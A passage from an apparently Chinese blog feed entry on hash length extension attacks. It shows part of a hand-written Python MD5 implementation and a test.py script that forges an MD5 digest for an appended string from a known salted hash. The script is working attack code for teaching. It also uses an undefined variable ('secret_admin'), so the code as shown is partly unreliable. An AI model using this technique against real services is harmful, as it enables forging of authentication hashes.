a=FF(a,b,c,d,M8,<span class="number">7</span>,<span class="number">0x698098d8L</span>)</span><br><span class="line"> d=FF(d,a,b,c,M9,<span class="number">12</span>,<span class="number">0x8b44f7afL</span>)</span><br><span class="line"> c=FF(c,d,a,b,M10,<span class="number">17</span>,<span class="number">0xffff5bb1L</span>)</span><br><span class="line"> b=FF(b,c,d,a,M11,<span class="number">22</span>,<span class="number">0x895cd7beL</span>)</span><br><span class="line"> a=FF(a,b,c,d,M12,<span class="number">7</span>,<span class="number">0x6b901122L</span>)</span><br><span class="line"> d=FF(d,a,b,c,M13,<span class="number">12</span>,<span class="number">0xfd987193L</span>)</span><br><span class="line"> c=FF(c,d,a,b,M14,<span class="number">17</span>,<span class="number">0xa679438eL</span>)</span><br><span class="line"> b=FF(b,c,d,a,M15,<span class="number">22</span>,<span class="number">0x49b40821L</span>)</span><br><span class="line"> <span class="comment">#Second round</span></span><br><span class="line"> a=GG(a,b,c,d,M1,<span class="number">5</span>,<span class="number">0xf61e2562L</span>)</span><br><span class="line"> d=GG(d,a,b,c,M6,<span class="number">9</span>,<span class="number">0xc040b340L</span>)</span><br><span class="line"> c=GG(c,d,a,b,M11,<span class="number">14</span>,<span class="number">0x265e5a51L</span>)</span><br><span class="line"> b=GG(b,c,d,a,M0,<span class="number">20</span>,<span class="number">0xe9b6c7aaL</span>)</span><br><span class="line"> a=GG(a,b,c,d,M5,<span class="number">5</span>,<span class="number">0xd62f105dL</span>)</span><br><span class="line"> d=GG(d,a,b,c,M10,<span class="number">9</span>,<span class="number">0x02441453L</span>)</span><br><span class="line"> c=GG(c,d,a,b,M15,<span class="number">14</span>,<span class="number">0xd8a1e681L</span>)</span><br><span class="line"> b=GG(b,c,d,a,M4,<span class="number">20</span>,<span class="number">0xe7d3fbc8L</span>)</span><br><span class="line"> a=GG(a,b,c,d,M9,<span class="number">5</span>,<span class="number">0x21e1cde6L</span>)</span><br><span class="line"> d=GG(d,a,b,c,M14,<span class="number">9</span>,<span class="number">0xc33707d6L</span>)</span><br><span class="line"> c=GG(c,d,a,b,M3,<span class="number">14</span>,<span class="number">0xf4d50d87L</span>)</span><br><span class="line"> b=GG(b,c,d,a,M8,<span class="number">20</span>,<span class="number">0x455a14edL</span>)</span><br><span class="line"> a=GG(a,b,c,d,M13,<span class="number">5</span>,<span class="number">0xa9e3e905L</span>)</span><br><span class="line"> d=GG(d,a,b,c,M2,<span class="number">9</span>,<span class="number">0xfcefa3f8L</span>)</span><br><span class="line"> c=GG(c,d,a,b,M7,<span class="number">14</span>,<span class="number">0x676f02d9L</span>)</span><br><span class="line"> b=GG(b,c,d,a,M12,<span class="number">20</span>,<span class="number">0x8d2a4c8aL</span>)</span><br><span class="line"> <span class="comment">#Third round</span></span><br><span class="line"> a=HH(a,b,c,d,M5,<span class="number">4</span>,<span class="number">0xfffa3942L</span>)</span><br><span class="line"> d=HH(d,a,b,c,M8,<span class="number">11</span>,<span class="number">0x8771f681L</span>)</span><br><span class="line"> c=HH(c,d,a,b,M11,<span class="number">16</span>,<span class="number">0x6d9d6122L</span>)</span><br><span class="line"> b=HH(b,c,d,a,M14,<span class="number">23</span>,<span class="number">0xfde5380c</span>)</span><br><span class="line"> a=HH(a,b,c,d,M1,<span class="number">4</span>,<span class="number">0xa4beea44L</span>)</span><br><span class="line"> d=HH(d,a,b,c,M4,<span class="number">11</span>,<span class="number">0x4bdecfa9L</span>)</span><br><span class="line"> c=HH(c,d,a,b,M7,<span class="number">16</span>,<span class="number">0xf6bb4b60L</span>)</span><br><span class="line"> b=HH(b,c,d,a,M10,<span class="number">23</span>,<span class="number">0xbebfbc70L</span>)</span><br><span class="line"> a=HH(a,b,c,d,M13,<span class="number">4</span>,<span class="number">0x289b7ec6L</span>)</span><br><span class="line"> d=HH(d,a,b,c,M0,<span class="number">11</span>,<span class="number">0xeaa127faL</span>)</span><br><span class="line"> c=HH(c,d,a,b,M3,<span class="number">16</span>,<span class="number">0xd4ef3085L</span>)</span><br><span class="line"> b=HH(b,c,d,a,M6,<span class="number">23</span>,<span class="number">0x04881d05L</span>)</span><br><span class="line"> a=HH(a,b,c,d,M9,<span class="number">4</span>,<span class="number">0xd9d4d039L</span>)</span><br><span class="line"> d=HH(d,a,b,c,M12,<span class="number">11</span>,<span class="number">0xe6db99e5L</span>)</span><br><span class="line"> c=HH(c,d,a,b,M15,<span class="number">16</span>,<span class="number">0x1fa27cf8L</span>)</span><br><span class="line"> b=HH(b,c,d,a,M2,<span class="number">23</span>,<span class="number">0xc4ac5665L</span>)</span><br><span class="line"> <span class="comment">#Fourth round</span></span><br><span class="line"> a=II(a,b,c,d,M0,<span class="number">6</span>,<span class="number">0xf4292244L</span>)</span><br><span class="line"> d=II(d,a,b,c,M7,<span class="number">10</span>,<span class="number">0x432aff97L</span>)</span><br><span class="line"> c=II(c,d,a,b,M14,<span class="number">15</span>,<span class="number">0xab9423a7L</span>)</span><br><span class="line"> b=II(b,c,d,a,M5,<span class="number">21</span>,<span class="number">0xfc93a039L</span>)</span><br><span class="line"> a=II(a,b,c,d,M12,<span class="number">6</span>,<span class="number">0x655b59c3L</span>)</span><br><span class="line"> d=II(d,a,b,c,M3,<span class="number">10</span>,<span class="number">0x8f0ccc92L</span>)</span><br><span class="line"> c=II(c,d,a,b,M10,<span class="number">15</span>,<span class="number">0xffeff47dL</span>)</span><br><span class="line"> b=II(b,c,d,a,M1,<span class="number">21</span>,<span class="number">0x85845dd1L</span>)</span><br><span class="line"> a=II(a,b,c,d,M8,<span class="number">6</span>,<span class="number">0x6fa87e4fL</span>)</span><br><span class="line"> d=II(d,a,b,c,M15,<span class="number">10</span>,<span class="number">0xfe2ce6e0L</span>)</span><br><span class="line"> c=II(c,d,a,b,M6,<span class="number">15</span>,<span class="number">0xa3014314L</span>)</span><br><span class="line"> b=II(b,c,d,a,M13,<span class="number">21</span>,<span class="number">0x4e0811a1L</span>)</span><br><span class="line"> a=II(a,b,c,d,M4,<span class="number">6</span>,<span class="number">0xf7537e82L</span>)</span><br><span class="line"> d=II(d,a,b,c,M11,<span class="number">10</span>,<span class="number">0xbd3af235L</span>)</span><br><span class="line"> c=II(c,d,a,b,M2,<span class="number">15</span>,<span class="number">0x2ad7d2bbL</span>)</span><br><span class="line"> b=II(b,c,d,a,M9,<span class="number">21</span>,<span class="number">0xeb86d391L</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> A += a</span><br><span class="line"> B += b</span><br><span class="line"> C += c</span><br><span class="line"> D += d</span><br><span class="line"></span><br><span class="line"> A = A&<span class="number">0xffffffff</span></span><br><span class="line"> B = B&<span class="number">0xffffffff</span></span><br><span class="line"> C = C&<span class="number">0xffffffff</span></span><br><span class="line"> D = D&<span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line"> a = A</span><br><span class="line"> b = B</span><br><span class="line"> c = C</span><br><span class="line"> d = D</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"%x,%x,%x,%x"</span>%(a,b,c,d)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> show_md5(a,b,c,d)</span><br></pre></td></tr></table></figure><p>test.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> my_md5</span><br><span class="line"></span><br><span class="line">samplehash=<span class="string">"571580b26c65f306376d4f64e53cb5c7"</span></span><br><span class="line"></span><br><span class="line">s1=<span class="number">0xcd6b8f09</span></span><br><span class="line">s2=<span class="number">0x73d32146</span></span><br><span class="line">s3=<span class="number">0x834edeca</span></span><br><span class="line">s4=<span class="number">0xf6b42726</span></span><br><span class="line">secret = <span class="string">"a"</span>*<span class="number">4</span></span><br><span class="line"></span><br><span class="line">test=secret+<span class="string">'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00'</span>+<span class="string">'test'</span></span><br><span class="line">s = my_md5.deal_rawInputMsg(test)</span><br><span class="line">r = my_md5.deal_rawInputMsg(secret_admin)</span><br><span class="line">inp = s[len(r)/<span class="number">2</span>:]</span><br><span class="line"><span class="keyword">print</span> test+<span class="string">'\n'</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">'----------------------------------------------------------'</span></span><br><span class="line"><span class="keyword">print</span> s</span><br><span class="line"><span class="keyword">print</span> <span class="string">'----------------------------------------------------------'</span></span><br><span class="line"><span class="keyword">print</span> inp</span><br><span class="line"><span class="keyword">print</span> <span class="string">'----------------------------------------------------------'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"md5:"</span>+my_md5.run_md5(s1,s2,s3,s4,inp)</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>Hash长度扩展攻击,是一个比较有意思的攻击方式,服务端给一段明文加盐后hash,可以利用已知HASH值来预测特定字符串的Hash值。<br>
</summary>
<category term="密码学" scheme="http://blog.leej.me/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
</entry>
</feed>